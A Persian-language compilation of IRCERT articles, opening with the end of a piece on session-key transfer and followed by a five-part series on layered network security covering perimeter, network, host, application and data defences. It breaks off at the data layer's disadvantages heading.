بخشی از تراکنش که در آن کلید منتقل می‌شود اغلب در مقایسه با بقیه تراکنش کوتاهتر است؛ بنابراین بار اضافی این بخش نسبت به کل تراکنش قابل صرفنظر است. چنانچه بقیه تراکنش بسبب استفاده از کلید متقارن با بالاسری کمتری رمز شود، زمان پردازش برای فاز تایید هویت و انتقال کلید قابل پذیرش است. (توضیح اینکه روشهای رمز متقارن از نامتقارن بمراتب سریعتر هستند بنابراین می‌توان ابتدا یک کلید متقارن را با استفاده از روش نامتقارن انتقال داد و سپس از آن کلید متقارن برای انجام بقیه تراکنش استفاده کرد.)

شکل خاصی از کلید نشست، سیستم انتقال کلید است که در برخی سیستمهای پرداخت الکترونیک و مبادله دیتای الکترونیک استفاده می‌شود. بدین صورت که در پایان هر تراکنش، یک کلید جدید منتقل می‌شود و این کلید برای تراکنش بعدی مورد استفاده قرار می‌گیرد.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده (۱) - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده (۱)

مقدمه

امروزه امنیت شبکه یک مسأله مهم برای ادارات و شرکتهای دولتی و سازمان های کوچک و بزرگ است. تهدیدهای پیشرفته از سوی تروریست های فضای سایبر، کارمندان ناراضی و هکرها رویکردی سیستماتیک را برای امنیت شبکه می طلبد. در بسیاری از صنایع، امنیت به شکل پیشرفته یک انتخاب نیست بلکه یک ضرورت است. {گروه امداد امنیت کامپیوتری ایران}

در این سلسله مقالات رویکردی لایه بندی شده برای امن سازی شبکه به شما معرفی می گردد. این رویکرد هم یک استراتژی تکنیکی است که ابزار و امکان مناسبی را در سطوح مختلف در زیرساختار شبکه شما قرار می دهد و هم یک استراتژی سازمانی است که مشارکت همه از هیأت مدیره تا قسمت فروش را می طلبد.

رویکرد امنیتی لایه بندی شده روی نگهداری ابزارها و سیستمهای امنیتی و روال ها در پنج لایه مختلف در محیط فناوری اطلاعات متمرکز می گردد.

۱- پیرامون

۲- شبکه

۳- میزبان

۴- برنامه کاربردی

۵- دیتا

در این سلسله مقالات هریک از این سطوح تعریف می شوند و یک دید کلی از ابزارها و سیستمهای امنیتی گوناگون که روی هریک عمل می کنند، ارائه می شود. هدف در اینجا ایجاد درکی در سطح پایه از امنیت شبکه و پیشنهاد یک رویکرد عملی مناسب برای محافظت از دارایی های دیجیتال است. مخاطبان این سلسله مقالات متخصصان فناوری اطلاعات، مدیران تجاری و تصمیم گیران سطح بالا هستند.

محافظت از اطلاعات اختصاصی به منابع مالی نامحدود و عجیب و غریب نیاز ندارد. با درکی کلی از مسأله، خلق یک طرح امنیتی استراتژیکی و تاکتیکی می تواند تمرینی آسان باشد. بعلاوه، با رویکرد عملی که در اینجا معرفی می شود، می توانید بدون هزینه کردن بودجه های کلان، موانع موثری بر سر راه اخلال گران امنیتی ایجاد کنید.

افزودن به ضریب عملکرد هکرها

متخصصان امنیت شبکه از اصطلاحی با عنوان ضریب عملکرد (work factor) استفاده می کنند که مفهومی مهم در پیاده سازی امنیت لایه بندی است. ضریب عملکرد بعنوان میزان تلاش مورد نیاز توسط یک نفوذگر بمنظور تحت تأثیر قراردادن یک یا بیشتر از سیستمها و ابزار امنیتی تعریف می شود که باعث رخنه کردن در شبکه می شود. یک شبکه با ضریب عملکرد بالا به سختی مورد دستبرد قرار می گیرد در حالیکه یک شبکه با ضریب عملکرد پایین می تواند نسبتاً به راحتی مختل شود. اگر هکرها تشخیص دهند که شبکه شما ضریب عملکرد بالایی دارد، که فایده رویکرد لایه بندی شده نیز هست، احتمالاً شبکه شما را رها می کنند و به سراغ شبکه هایی با امنیت پایین تر می روند و این دقیقاً همان چیزیست که شما می خواهید.

تکنولوژی های بحث شده در این سری مقالات مجموعاً رویکرد عملی خوبی برای امن سازی دارایی های دیجیتالی شما را به نمایش می گذارند. در یک دنیای ایده آل، شما بودجه و منابع را برای پیاده سازی تمام ابزار و سیستم هایی که بحث می کنیم خواهید داشت. اما متأسفانه در چنین دنیایی زندگی نمی کنیم. بدین ترتیب، باید شبکه تان را ارزیابی کنید – چگونگی استفاده از آن، طبیعت داده های ذخیره شده، کسانی که نیاز به دسترسی دارند، نرخ رشد آن و غیره – و سپس ترکیبی از سیستم های امنیتی را که بالاترین سطح محافظت را ایجاد می کنند، با توجه به منابع در دسترس پیاده سازی کنید.

مدل امنیت لایه بندی شده

در این جدول مدل امنیت لایه بندی شده و بعضی از تکنولوژی هایی که در هر سطح مورد استفاده قرار می گیرند، ارائه شده اند. این تکنولوژی ها با جزئیات بیشتر در بخش های بعدی مورد بحث قرار خواهند گرفت.

ردیف | سطح امنیتی | ابزار و سیستم های امنیتی قابل استفاده
۱ | پیرامون | · فایروال · آنتی ویروس در سطح شبکه · رمزنگاری شبکه خصوصی مجازی
۲ | شبکه | · سیستم تشخیص/جلوگیری از نفوذ (IDS/IPS) · سیستم مدیریت آسیب پذیری · تبعیت امنیتی کاربر انتهایی · کنترل دسترسی/ تایید هویت کاربر
۳ | میزبان | · سیستم تشخیص نفوذ میزبان · سیستم ارزیابی آسیب پذیری میزبان · تبعیت امنیتی کاربر انتهایی · آنتی ویروس · کنترل دسترسی/ تایید هویت کاربر
۴ | برنامه کاربردی | · سیستم تشخیص نفوذ میزبان · سیستم ارزیابی آسیب پذیری میزبان · کنترل دسترسی/ تایید هویت کاربر · تعیین صحت ورودی
۵ | داده | · رمزنگاری · کنترل دسترسی/ تایید هویت کاربر

در مقاله بعدی به معرفی بیشتر این لایه ها و ابزارهای مورد استفاده خواهیم پرداخت.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده (۲) - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده (۲)

در شماره قبل به لایه های این نوع رویکرد به اختصار اشاره شد. طی این شماره و شماره های بعد به هریک از این لایه ها می پردازیم.

سطح ۱: امنیت پیرامون

منظور از پیرامون، اولین خط دفاعی نسبت به بیرون و به عبارتی به شبکه غیرقابل اعتماد است. «پیرامون» اولین و آخرین نقطه تماس برای دفاع امنیتی محافظت کننده شبکه است. این ناحیه ای است که شبکه به پایان می رسد و اینترنت آغاز می شود. پیرامون شامل یک یا چند فایروال و مجموعه ای از سرورهای به شدت کنترل شده است که در بخشی از پیرامون قرار دارند که بعنوان DMZ (demilitarized zone) شناخته می شود. DMZ معمولاً وب سرورها، مدخل ایمیل ها، آنتی ویروس شبکه و سرورهای DNS را دربرمی گیرد که باید در معرض اینترنت قرار گیرند. فایروال قوانین سفت و سختی در مورد اینکه چه چیزی می تواند وارد شبکه شود و چگونه سرورها در DMZ می توانند با اینترنت و شبکه داخلی تعامل داشته باشند، دارد.

پیرامون شبکه، به اختصار، دروازه شما به دنیای بیرون و برعکس، مدخل دنیای بیرون به شبکه شماست.

تکنولوژیهای زیر امنیت را در پیرامون شبکه ایجاد می کنند:

· فایروال ـ معمولاً یک فایروال روی سروری نصب می گردد که به بیرون و درون پیرامون شبکه متصل است. فایروال سه عمل اصلی انجام می دهد ۱- کنترل ترافیک ۲- تبدیل آدرس و ۳- نقطه پایانی VPN. فایروال کنترل ترافیک را با سنجیدن مبداء و مقصد تمام ترافیک واردشونده و خارج شونده انجام می دهد و تضمین می کند که تنها تقاضاهای مجاز اجازه عبور دارند. بعلاوه، فایروال ها به شبکه امن در تبدیل آدرس های IP داخلی به آدرس های قابل رویت در اینترنت کمک می کنند. این کار از افشای اطلاعات مهم درباره ساختار شبکه تحت پوشش فایروال جلوگیری می کند. یک فایروال همچنین می تواند به عنوان نقطه پایانی تونل های VPN (که بعداً بیشتر توضیح داده خواهد شد) عمل کند. این سه قابلیت فایروال را تبدیل به بخشی واجب برای امنیت شبکه شما می کند.

· آنتی ویروس شبکه ـ این نرم افزار در DMZ نصب می شود و محتوای ایمیل های واردشونده و خارج شونده را با پایگاه داده ای از مشخصات ویروس های شناخته شده مقایسه می کند. این آنتی ویروس ها آمد و شد ایمیل های آلوده را مسدود می کنند و آنها را قرنطینه می کنند و سپس به دریافت کنندگان و مدیران شبکه اطلاع می دهند. این عمل از ورود و انتشار یک ایمیل آلوده به ویروس در شبکه جلوگیری می کند و جلوی گسترش ویروس توسط شبکه شما را می گیرد. آنتی ویروس شبکه، مکملی برای حفاظت ضدویروسی است که در سرور ایمیل شما و کامپیوترهای مجزا صورت می گیرد. بمنظور کارکرد مؤثر، دیتابیس ویروس های شناخته شده باید به روز نگه داشته شود.

· VPNـ یک شبکه اختصاصی مجازی (VPN) از رمزنگاری سطح بالا برای ایجاد ارتباط امن بین ابزار دور از یکدیگر، مانند لپ تاپ ها و شبکه مقصد استفاده می کند. VPN اساساً یک تونل رمزشده تقریباً با امنیت و محرمانگی یک شبکه اختصاصی اما از میان اینترنت ایجاد می کند. این تونل VPN می تواند در یک مسیریاب برپایه VPN، فایروال یا یک سرور در ناحیه DMZ پایان پذیرد. برقراری ارتباطات VPN برای تمام بخش های دور و بی سیم شبکه یک عمل مهم است که نسبتاً آسان و ارزان پیاده سازی می شود.

مزایا

تکنولوژی های ایجاد شده سطح پیرامون سال هاست که در دسترس هستند، و بیشتر خبرگان IT با تواناییها و نیازهای عملیاتی آنها به خوبی آشنایی دارند. بنابراین، از نظر پیاده سازی آسان و توأم با توجیه اقتصادی هستند. بعضیاز فروشندگان راه حل های سفت و سختی برای این تکنولوژیها ارائه می دهند و بیشتر آنها به این دلیل پر هزینه هستند.

معایب

از آنجا که بیشتر این سیستم ها تقریباً پایه ای هستند و مدت هاست که در دسترس بوده اند، بیشتر هکرهای پیشرفته روش هایی برای دور زدن آنها نشان داده اند. برای مثال، یک ابزار آنتی ویروس نمی تواند ویروسی را شناسایی کند مگر اینکه از قبل علامت شناسایی ویروس را در دیتابیس خود داشته باشد و این ویروس داخل یک فایل رمزشده قرار نداشته باشد. اگرچه VPN رمزنگاری مؤثری ارائه می کند، اما کار اجرایی بیشتری را برروی کارمندان IT تحمیل می کنند، چرا که کلیدهای رمزنگاری و گروه های کاربری باید بصورت مداوم مدیریت شوند.

ملاحظات

پیچیدگی معماری شبکه شما می تواند تأثیر قابل ملاحظه ای روی میزان اثر این تکنولوژی ها داشته باشد. برای مثال، ارتباطات چندتایی به خارج احتمالاً نیاز به چند فایروال و آنتی ویروس خواهد داشت. معماری شبکه بطوری که تمام این ارتباطات به ناحیه مشترکی ختم شود، به هرکدام از تکنولوژی های مذکور اجازه می دهد که به تنهایی پوشش مؤثری برای شبکه ایجاد کنند.

انواع ابزاری که در DMZ شما قرار دارد نیز یک فاکتور مهم است. این ابزارها چه میزان اهمیت برای کسب و کار شما دارند؟ هرچه اهمیت بیشتر باشد، معیارها و سیاست های امنیتی سفت و سخت تری باید این ابزارها را مدیریت کنند.

در شماره بعدی به ادامه این مطلب خواهیم پرداخت.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده (۳) - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده (۳)

در مطلب قبلی به اولین لایه که لایه پیرامون است، اشاره شد، در این شماره به لایه امنیت شبکه می پردازیم.

سطح ۲- امنیت شبکه

سطح شبکه در مدل امنیت لایه بندی شده به WAN و LAN داخلی شما اشاره دارد. شبکه داخلی شما ممکن است شامل چند کامپیوتر و سرور و یا شاید پیچیده تر یعنی شامل اتصالات نقطه به نقطه به دفترهای کار دور باشد. بیشتر شبکه های امروزی در ورای پیرامون، باز هستند؛ یعنی هنگامی که داخل شبکه قرار دارید، می توانید به راحتی در میان شبکه حرکت کنید. این قضیه بخصوص برای سازمان های کوچک تا متوسط صدق می کند که به این ترتیب این شبکه ها برای هکرها و افراد بداندیش دیگر به اهدافی وسوسه انگیز مبدل می شوند. تکنولوژی های ذیل امنیت را در سطح شبکه برقرار می کنند:

· IDS ها (سیستم های تشخیص نفوذ) و IPSها (سیستم های جلوگیری از نفوذ) ـ تکنولوژیهای IDS و IPS ترافیک گذرنده در شبکه شما را با جزئیات بیشتر نسبت به فایروال تحلیل می کنند. مشابه سیستم های آنتی ویروس، ابزارهای IDS و IPS ترافیک را تحلیل و هر بسته اطلاعات را با پایگاه داده ای از مشخصات حملات شناخته شده مقایسه می کنند. هنگامی که حملات تشخیص داده می شوند، این ابزار وارد عمل می شوند. ابزارهای IDS مسؤولین IT را از وقوع یک حمله مطلع می سازند؛ ابزارهای IPS یک گام جلوتر می روند و بصورت خودکار ترافیک آسیب رسان را مسدود می کنند. IDSها و IPSها مشخصات مشترک زیادی دارند. در حقیقت، بیشتر IPSها در هسته خود یک IDS دارند. تفاوت کلیدی بین این تکنولوژی ها از نام آنها استنباط می شود. محصولات IDS تنها ترافیک آسیب رسان را تشخیص می دهند، در حالیکه محصولات IPS از ورود چنین ترافیکی به شبکه شما جلوگیری می کنند. پیکربندی های IDS و IPS استاندارد در شکل نشان داده شده اند:

· مدیریت آسیب پذیری – سیستم های مدیریت آسیب پذیری دو عملکرد مرتبط را انجام می دهند: (۱) شبکه را برای آسیب پذیری ها پیمایش می کنند و (۲)روند مرمت آسیب پذیری یافته شده را مدیریت می کنند. در گذشته، این تکنولوژی VA )تخمین آسیب پذیری( نامیده می شد. اما این تکنولوژی اصلاح شده است، تا جاییکه بیشتر سیستم های موجود، عملی بیش از تخمین آسیب پذیری ابزار شبکه را انجام می دهند.

سیستم های مدیریت آسیب پذیری ابزار موجود در شبکه را برای یافتن رخنه ها و آسیب پذیری هایی که می توانند توسط هکرها و ترافیک آسیب رسان مورد بهره برداری قرار گیرند، پیمایش می کنند. آنها معمولاً پایگاه داده ای از قوانینی را نگهداری می کنند که آسیب پذیری های شناخته شده برای گستره ای از ابزارها و برنامه های شبکه را مشخص می کنند. در طول یک پیمایش، سیستم هر ابزار یا برنامه ای را با بکارگیری قوانین مناسب می آزماید.

همچنانکه از نامش برمی آید، سیستم مدیریت آسیب پذیری شامل ویژگیهایی است که روند بازسازی را مدیریت می کند. لازم به ذکر است که میزان و توانایی این ویژگی ها در میان محصولات مختلف، فرق می کند.

· تابعیت امنیتی کاربر انتهایی – روش های تابعیت امنیتی کاربر انتهایی به این طریق از شبکه محافظت می کنند که تضمین می کنند کاربران انتهایی استانداردهای امنیتی تعریف شده را قبل از اینکه اجازه دسترسی به شبکه داشته باشند، رعایت کرده اند. این عمل جلوی حمله به شبکه از داخل خود شبکه را از طریق سیستم های ناامن کارمندان و ابزارهای VPN و RAS می گیرد.

روش های امنیت نقاط انتهایی براساس آزمایش هایی که روی سیستم هایی که قصد اتصال دارند، انجام می دهند، اجازه دسترسی می دهند. هدف آنها از این تست ها معمولاً برای بررسی (۱) نرم افزار مورد نیاز، مانند سرویس پک ها، آنتی ویروس های به روز شده و غیره و (۲) کاربردهای ممنوع مانند اشتراک فایل و نرم افزارهای جاسوسی است.

· کنترل دسترسی\تأیید هویت – کنترل دسترسی نیازمند تأیید هویت کاربرانی است که به شبکه شما دسترسی دارند. هم کاربران و هم ابزارها باید با ابزار کنترل دسترسی در سطح شبکه کنترل شوند.

نکته: در این سلسله مباحث، به کنترل دسترسی و تأییدهویت در سطوح شبکه، میزبان، نرم افزار و دیتا در چارچوب امنیتی لایه بندی شده می پردازیم. میان طرح های کنترل دسترسی بین لایه های مختلف همپوشانی قابل توجهی وجود دارد. معمولاً تراکنش های تأیید هویت در مقابل دید کاربر اتفاق می افتد. اما به خاطر داشته باشید که کنترل دسترسی و تأیید هویت مراحل پیچیده ای هستند که برای ایجاد بیشترین میزان امنیت در شبکه، باید به دقت مدیریت شوند.

مزایا

تکنولوژی های IDS، IPS و مدیریت آسیب پذیری تحلیل های پیچیده ای روی تهدیدها و آسیب پذیری های شبکه انجام می دهند. در حالیکه فایروال به ترافیک، برپایه مقصد نهایی آن اجازه عبور می دهد، ابزار IPS و IDS تجزیه و تحلیل عمیق تری را برعهده دارند، و بنابراین سطح بالاتری از محافظت را ارائه می کنند. با این تکنولوژی های پیشرفته، حملاتی که داخل ترافیک قانونی شبکه وجود دارند و می توانند از فایروال عبور کنند، مشخص خواهند شد و قبل از آسیب رسانی به آنها خاتمه داده خواهند شد.

سیستم های مدیریت آسیب پذیری روند بررسی آسیب پذیری های شبکه شما را بصورت خودکار استخراج می کنند. انجام چنین بررسی هایی به صورت دستی با تناوب مورد نیاز برای تضمین امنیت، تا حدود زیادی غیرعملی خواهد بود. بعلاوه، شبکه ساختار پویایی دارد. ابزار جدید، ارتقاءدادن نرم افزارها و وصله ها، و افزودن و کاستن از کاربران، همگی می توانند آسیب پذیری های جدید را پدید آورند. ابزار تخمین آسیب پذیری به شما اجازه می دهند که شبکه را مرتب و کامل برای جستجوی آسیب پذیری های جدید پیمایش کنید.

روش های تابعیت امنیتی کاربر انتهایی به سازمان ها سطح بالایی از کنترل بر روی ابزاری را می دهد که به صورت سنتی کنترل کمی بر روی آنها وجود داشته است. هکرها بصورت روز افزون به دنبال بهره برداری از نقاط انتهایی برای داخل شدن به شبکه هستند، همچانکه پدیده های اخیر چون Mydoom، Sobig، و Sasser گواهی بر این مدعا هستند. برنامه های امنیتی کاربران انتهایی این درهای پشتی خطرناک به شبکه را می بندند.

معایب

IDSها تمایل به تولید تعداد زیادی علائم هشدار غلط دارند، که به عنوان false positives نیز شناخته می شوند. در حالیکه IDS ممکن است که یک حمله را کشف و به اطلاع شما برساند، این اطلاعات می تواند زیر انبوهی از هشدارهای غلط یا دیتای کم ارزش مدفون شود. مدیران IDS ممکن است به سرعت حساسیت خود را نسبت به اطلاعات تولید شده توسط سیستم از دست بدهند. برای تأثیرگذاری بالا، یک IDS باید بصورت پیوسته بررسی شود و برای الگوهای مورد استفاده و آسیب پذیری های کشف شده در محیط شما تنظیم گردد. چنین نگهداری معمولاً میزان بالایی از منابع اجرایی را مصرف می کند.

سطح خودکار بودن در IPSها می تواند به میزان زیادی در میان محصولات، متفاوت باشد. بسیاری از آنها باید با دقت پیکربندی و مدیریت شوند تا مشخصات الگوهای ترافیک شبکه ای را که در آن نصب شده اند منعکس کنند. تأثیرات جانبی احتمالی در سیستمهایی که بهینه نشده اند، مسدود کردن تقاضای کاربران قانونی و قفل کردن منابع شبکه معتبر را شامل می شود.

بسیاری، اما نه همه روش های امنیتی کاربران انتهایی، نیاز به نصب یک عامل در هر نقطه انتهایی دارد. این عمل می تواند مقدار قابل توجهی بار کاری اجرایی به نصب و نگهداری اضافه کند.

تکنولوژی های کنترل دسترسی ممکن است محدودیت های فنی داشته باشند. برای مثال، بعضی ممکن است با تمام ابزار موجود در شبکه شما کار نکنند، بنابراین ممکن است به چند سیستم برای ایجاد پوشش نیاز داشته باشید. همچنین، چندین فروشنده سیستم های کنترل دسترسی را به بازار عرضه می کنند، و عملکرد می تواند بین محصولات مختلف متفاوت باشد. پیاده سازی یک سیستم یکپارچه در یک شبکه ممکن است دشوار باشد. چنین عمل وصله-پینه ای یعنی رویکرد چند محصولی ممکن است در واقع آسیب پذیری های بیشتری را در شبکه شما به وجود آورد.

ملاحظات

موفقیت ابزارهای امنیت سطح شبکه به نحوی به سرعت اتصالات داخلی شبکه شما وابسته است. زیرا ابزارهای IDS/IPS ، مدیریت آسیب پذیری و امنیت کاربر انتهایی ممکن است منابعی از شبکه ای را که از آن محافظت می کنند، مصرف کنند. سرعت های اتصالی بالاتر تأثیری را که این ابزارها بر کارایی شبکه دارند به حداقل خواهد رساند. در پیاده سازی این تکنولوژی ها شما باید به مصالحه بین امنیت بهبودیافته و سهولت استفاده توجه کنید، زیرا بسیاری از این محصولات برای کارکرد مؤثر باید به طور پیوسته مدیریت شوند و این ممکن است استفاده از آن محصولات را در کل شبکه با زحمت مواجه سازد.

وقتی که این تکنولوژی ها را در اختیار دارید، بهبود پیوسته شبکه را در خاطر داشته باشید. در شبکه هایی با پویایی و سرعت گسترش بالا، تطبیق با شرایط و ابزار جدید ممکن است مسأله ساز گردد.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده (۴) - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده (۴)

در شماره قبل به دومین لایه که لایه شبکه است، اشاره شد، در این شماره به لایه میزبان به عنوان سومین لایه می پردازیم.

سطح ۳- امنیت میزبان

سطح میزبان در مدل امنیت لایه بندی شده، مربوط به ابزار منفرد مانند سرورها، کامپیوترهای شخصی، سوئیچ ها، روترها و غیره در شبکه است. هر ابزار تعدادی پارامتر قابل تنظیم دارد و هنگامی که به نادرستی تنظیم شوند، می توانند سوراخ های امنیتی نفوذپذیری ایجاد کنند. این پارامترها شامل تنظیمات رجیستری، سرویس ها، توابع عملیاتی روی خود ابزار یا وصله های سیستم های عامل یا نرم افزارهای مهم می شود.

تکنولوژی های زیر امنیت را در سطح میزبان فراهم می کنند:

· IDS در سطح میزبان ـ IDSهای سطح میزبان عملیاتی مشابه IDSهای شبکه انجام می دهند؛ تفاوت اصلی در نمایش ترافیک در یک ابزار شبکه به تنهایی است. IDSهای سطح میزبان برای مشخصات عملیاتی بخصوصی از ابزار میزبان تنظیم می گردند و بنابراین اگر به درستی مدیریت شوند، درجه بالایی از مراقبت را فراهم می کنند.

· VA (تخمین آسیب پذیری) سطح میزبان - ابزارهای VA سطح میزبان یک ابزار شبکه مجزا را برای آسیب پذیری های امنیتی پویش می کنند. دقت آنها نسبتا بالاست و کمترین نیاز را به منابع میزبان دارند. از آنجایی که VA ها بطور مشخص برای ابزار میزبان پیکربندی می شوند، درصورت مدیریت مناسب، سطح بسیار بالایی از پوشش را فراهم می کنند.

· تابعیت امنیتی کاربر انتهایی – روش های تابعیت امنیتی کاربر انتهایی وظیفه دوچندانی ایفا می کنند و هم شبکه (همانگونه در بخش قبلی مطرح شد) و هم میزبان های جداگانه را محافظت می کنند. این روش ها بطور پیوسته میزبان را برای عملیات زیان رسان و آلودگی ها بررسی می کنند و همچنین به نصب و به روز بودن فایروال ها و آنتی ویروس ها رسیدگی می کنند.

· آنتی ویروس - هنگامی که آنتی ویروس های مشخص شده برای ابزار در کنار آنتی ویروس های شبکه استفاده می شوند ، لایه اضافه ای برای محافظت فراهم می کنند.

· کنترل دسترسی\تصدیق هویت- ابزار کنترل دسترسی در سطح ابزار یک روش مناسب است که تضمین می کند دسترسی به ابزار تنها توسط کاربران مجاز صورت پذیرد. در اینجا نیز، احتمال سطح بالایی از تراکنش بین ابزار کنترل دسترسی شبکه و کنترل دسترسی میزبان وجود دارد.

مزایا

این تکنولوژی های در سطح میزبان حفاظت بالایی ایجاد می کنند زیرا برای برآورده کردن مشخصات عملیاتی مخصوص یک ابزار پیکربندی می گردند. دقت و پاسخ دهی آنها به محیط میزبان به مدیران اجازه می دهد که به سرعت مشخص کنند کدام تنظمیات ابزار نیاز به به روز رسانی برای تضمین عملیات امن دارند.

معایب

بکارگیری و مدیریت سیستم های سطح میزبان می تواند بسیار زمان بر باشند. از آنجایی که این سیستم ها نیاز به نمایش و به روز رسانی مداوم دارند، اغلب ساعات زیادی برای مدیریت مناسب می طلبند. اغلب نصبشان مشکل است و تلاش قابل ملاحظه ای برای تنظیم آنها مورد نیاز است. همچنین، هرچه سیستم عامل بیشتری در شبکه داشته باشید، یک رویکرد برپایه میزبان، گران تر خواهد بود و مدیریت این ابزار مشکل تر خواهد شد. همچنین، با تعداد زیادی ابزار امنیتی سطح میزبان در یک شبکه، تعداد هشدارها و علائم اشتباه می تواند بسیار زیاد باشد.

ملاحظات

بدلیل هزینه ها و باراضافی مدیریت، ابزار در سطح میزبان باید بدقت بکار گرفته شوند. بعنوان یک اصل راهنما، بیشتر سازمان ها این ابزار را فقط روی سیستم های بسیار حساس شبکه نصب می کنند. استثناء این اصل یک راه حل تابعیت امنیتی کاربر انتهایی است، که اغلب برای پوشش دادن به هر ایستگاه کاری که تلاش می کند به شبکه دسترسی پیدا کند، بکار گرفته می شود.


﻿ IRCERT - رویکردی عملی به امنیت شبکه لایه بندی شده ۵ - مقالات

رویکردی عملی به امنیت شبکه لایه بندی شده ( (۵

در شماره قبل به سومین لایه که لایه میزبان است، اشاره شد. در این شماره به لایه برنامه کاربردی بعنوان چهارمین لایه و لایه دیتا بعنوان پنجمین لایه می پردازیم.

سطح ۴- امنیت برنامه کاربردی

در حال حاضر امنیت سطح برنامه کاربردی بخش زیادی از توجه را معطوف خود کرده است. برنامه هایی که به میزان کافی محافظت نشده اند، می توانند دسترسی آسانی به دیتا و رکوردهای محرمانه فراهم کنند. حقیقت تلخ این است که بیشتر برنامه نویسان هنگام تولید کد به امنیت توجه ندارند. این یک مشکل تاریخی در بسیاری از برنامه های با تولید انبوه است. ممکن است شما از کمبود امنیت در نرم افزارها آگاه شوید، اما قدرت تصحیح آنها را نداشته باشید.

برنامه ها برای دسترسی مشتریان، شرکا و حتی کارمندان حاضر در محل های دیگر، روی وب قرار داده می شوند. این برنامه ها، همچون بخش فروش، مدیریت ارتباط با مشتری، یا سیستم های مالی، می توانند هدف خوبی برای افرادی که نیات بد دارند، باشند. بنابراین بسیار مهم است که یک استراتژی امنیتی جامع برای هر برنامه تحت شبکه اعمال شود.

تکنولوژی های زیر امنیت را در سطح برنامه فراهم می کنند:

· پوشش محافظ برنامه – از پوشش محافظ برنامه به کرات به عنوان فایروال سطح برنامه یاد می شود و تضمین می کند که تقاضاهای وارد شونده و خارج شونده برای برنامه مورد نظر مجاز هستند. یک پوشش که معمولاً روی سرورهای وب، سرورهای ایمیل، سرورهای پایگاه داده و ماشین های مشابه نصب می شود، برای کاربر شفاف است و با درجه بالایی با سیستم یکپارچه می شود.

یک پوشش محافظ برنامه برای عملکرد مورد انتظار سیستم میزبان تنظیم می گردد. برای مثال، یک پوشش روی سرور ایمیل به این منظور پیکربندی می شود تا جلوی اجرای خودکار برنامه ها توسط ایمیل های وارد شونده را بگیرد، زیرا این کار برای ایمیل معمول یا لازم نیست.

· کنترل دسترسی/تصدیق هویت- مانند تصدیق هویت در سطح شبکه و میزبان، تنها کاربران مجاز می توانند به برنامه دسترسی داشته باشند.

· تعیین صحت ورودی - ابزارهای تعیین صحت ورودی بررسی می کنند که ورودی گذرنده از شبکه برای پردازش امن باشد. اگر ابزارهای امنیتی مناسب در جای خود مورد استفاده قرار نگیرند، هر تراکنش بین افراد و واسط کاربر می تواند خطاهای ورودی تولید کند. عموماً هر تراکنش با سرور وب شما باید ناامن در نظر گرفته شود مگر اینکه خلافش ثابت شود!

به عنوان مثال، یک فرم وبی با یک بخش zip code را در نظر بگیرید. تنها ورودی قابل پذیرش در این قسمت فقط پنج کاراکتر عددی است. تمام ورودی های دیگر باید مردود شوند و یک پیام خطا تولید شود. تعیین صحت ورودی باید در چندین سطح صورت گیرد. در این مثال، یک اسکریپت جاوا می تواند تعیین صحت را در سطح مرورگر در سیستم سرویس گیرنده انجام دهد، در حالیکه کنترل های بیشتر می تواند در سرور وب قرار گیرد. اصول بیشتر شامل موارد زیر می شوند:

- کلید واژه ها را فیلتر کنید. بیشتر عبارات مربوط به فرمانها مانند «insert»، باید بررسی و در صورت نیاز مسدود شوند.

- فقط دیتایی را بپذیرید که برای فلید معین انتظار می رود. برای مثال، یک اسم کوچک ۷۵ حرفی یک ورودی استاندارد نیست.

مزایا

ابزارهای امنیت سطح برنامه موقعیت امنیتی کلی را تقویت می کنند و به شما اجازه کنترل بهتری روی برنامه هایتان را می دهند. همچنین سطح بالاتری از جوابگویی را فراهم می کنند چرا که بسیاری از فعالیت های نمایش داده شده توسط این ابزارها، ثبت شده و قابل ردیابی هستند.

معایب

پیاده سازی جامع امنیت سطح برنامه می تواند هزینه بر باشد، چرا که هر برنامه و میزبان آن باید بصورت مجزا ارزیابی، پیکربندی و مدیریت شود. بعلاوه، بالابردن امنیت یک شبکه با امنیت سطح برنامه می تواند عملی ترسناک! و غیرعملی باشد. هرچه زودتر بتوانید سیاست هایی برای استفاده از این ابزارها پیاده کنید، روند مذکور موثرتر و ارزان تر خواهد بود.

ملاحظات

ملاحظات کلیدی برنامه ها و طرح های شما را برای بلندمدت اولویت بندی می کنند. امنیت را روی برنامه ها کاربردی خود در جایی پیاده کنید که بیشترین منفعت مالی را برای شما دارد. طرح ریزی بلندمدت به شما اجازه می دهد که ابزارهای امنیتی را با روشی تحت کنترل در طی رشد شبکه تان پیاده سازی کنید و از هزینه های اضافی جلوگیری می کند.

سطح ۵ - امنیت دیتا

امنیت سطح دیتا ترکیبی از سیاست امنیتی و رمزنگاری را دربرمی گیرد. رمزنگاری دیتا، هنگامی که ذخیره می شود و یا در شبکه شما حرکت می کند، به عنوان روشی بسیار مناسب توصیه می گردد، زیرا چنانچه تمام ابزارهای امنیتی دیگر از کار بیفتند، یک طرح رمزنگاری قوی دیتای مختص شما را محافظت می کند. امنیت دیتا تا حد زیادی به سیاست های سازمانی شما وابسته است. سیاست سازمانی می گوید که چه کسی به دیتا دسترسی دارد، کدام کاربران مجاز می توانند آن را دستکاری کنند و چه کسی مسوول نهایی یکپارچگی و امن ماندن آن است. تعیین صاحب و متولی دیتا به شما اجازه می دهد که سیاست های دسترسی و ابزار امنیتی مناسبی را که باید بکار گرفته شوند، مشخص کنید.

تکنولوژی های زیر امنیت در سطح دیتا را فراهم می کنند:

· رمزنگاری – طرح های رمزنگاری دیتا در سطوح دیتا، برنامه و سیستم عامل پیاده می شوند. تقریباً تمام طرح ها شامل کلیدهای رمزنگاری/رمزگشایی هستند که تمام افرادی که به دیتا دسترسی دارند، باید داشته باشند. استراتژی های رمزنگاری معمول شامل PKI، PGP و RSA هستند.

· کنترل دسترسی / تصدیق هویت – مانند تصدیق هویت سطوح شبکه، میزبان و برنامه، تنها کاربران مجاز دسترسی به دیتا خواهند داشت.

مزایا

رمزنگاری روش اثبات شده ای برای محافظت از دیتای شما فراهم می کند. چنانچه نفوذگران تمام ابزارهای امنیتی دیگر در شبکه شما را خنثی کنند، رمزنگاری یک مانع نهایی و موثر برای محافظت از اطلاعات خصوصی و دارایی دیجیتال شما فراهم می کند.

معایب

